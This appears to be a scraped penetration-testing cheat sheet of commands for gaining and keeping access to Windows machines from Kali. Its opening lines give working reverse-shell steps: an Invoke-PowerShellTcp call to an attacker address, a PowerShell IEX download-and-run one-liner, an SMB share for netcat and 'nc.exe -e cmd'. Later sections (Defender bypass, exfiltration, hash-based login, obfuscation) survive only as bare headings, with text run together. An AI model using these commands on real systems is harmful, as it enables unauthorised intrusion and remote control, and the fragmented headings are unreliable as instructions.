Useful commands
Reverse Shell File
# Payload
https://podalirius.net/en/articles/windows-reverse-shells-cheatsheet/
# File
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1Client
#Add at the end of the file
Invoke-PowerShellTcp -Reverse -IPAddress <attacker-ip> -Port <attacker-port>
#Host the file
python3 -m http.server 8888
#Set up listener
nc -nlvp 4444Server
powershell IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:4444/shell.ps1')Client
#Set up listener
nc -nlvp 4444
#Host the file in share folder (run from above)
impacket-smbserver -smb2support share shareServer
#Download the file
copy \\<IP>\share\nc.exe .
#Run command
nc.exe <IP> <PORT> -e cmdSet up http server with powercat:
powercat path: /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1
Set up listener
Execute PowerShell command
Windows Defender Bypass
Reverse shell generator
File upload
Client
Server
(Optional) Downloads folder
Client
Server
Client
Server
Set up http server:
Download the file:
Set up apache2 service:
Transfer files to the following location:
Execute on the windows machine to download the file:
File exfiltration
Kali
Windows
Kali:
Windows:
Check if command is executed via cmd or powershell
World writeable paths
Check writeable paths script
Internal port forwarding
Kali ssh configuration
Uncomment and change the PermitRootLogin line to:
Then enter this command in the terminal
Connection
Download plink.exe https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
Upload plink to the server using the way described in File Upload section.
Connect to kali ssh.
Hit enter multiple times.
Check if port is open on kali localhost
Connect to the open port using 127.0.0.1 IP on kali
Connections
RDP Connection
Normal
Retina display (MAC)
Domain
Evil-winrm
In order to use evil-winrm you need username and password of the user. Also make sure ports: 5985 or 5986 are open.
PsExec /wmiexec / smbexec
You can use psexec, smbexec if you have user credentials or NTLM hash. Any folder has to be writeable.
Credentials
Hash
Powershell BASE64 obfuscation
Get the payload
Execute the payload
Powershell scripts do not run
Run the powershell in bypass mode:
Windows kernel exploits
Last updated